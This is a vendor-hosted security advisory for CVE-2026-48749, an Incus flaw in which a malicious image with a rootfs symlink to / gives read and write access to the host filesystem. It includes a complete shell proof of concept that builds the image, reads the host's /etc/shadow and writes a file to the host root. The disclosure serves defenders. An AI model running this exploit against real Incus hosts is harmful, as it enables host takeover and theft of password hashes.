Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-48749

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
Back to all
CVE

CVE-2026-48749

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
## inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs

incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink

## read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
## write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
C
H
U
9.9
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv, https://github.com/lxc/incus

Severity

9.9

CVSS Score
0
10

Basic Information

Base CVSS
9.9
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0,v7.0.0,v7.0.0-20260501231825-40dd4f151d52,v6.0.1,v6.0.0-20240405150957-bf519f9ab21a,v0.1.0,v0.0.0-20230930034430-d33cb2388a78,v0.0.0-20230819032043-8cbf20808200,v0.0.0-20230809055229-78cea072e604,v0.0.0-20230809033550-59f049aad8e8,v0.0.0-20230731212712-ab0295afdd26,v0.0.0-20230731212529-7673a78986e4,v0.0.0-20230704205107-bfa9fa7c9331,v0.0.0-20191128174919-00d49e5d20ae,v0.0.0-20191101172110-03beb3a2f84c
Fix Available
7.2.0,v7.2.0,v7.0.0-20260625220612-7e58425ca7ff

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading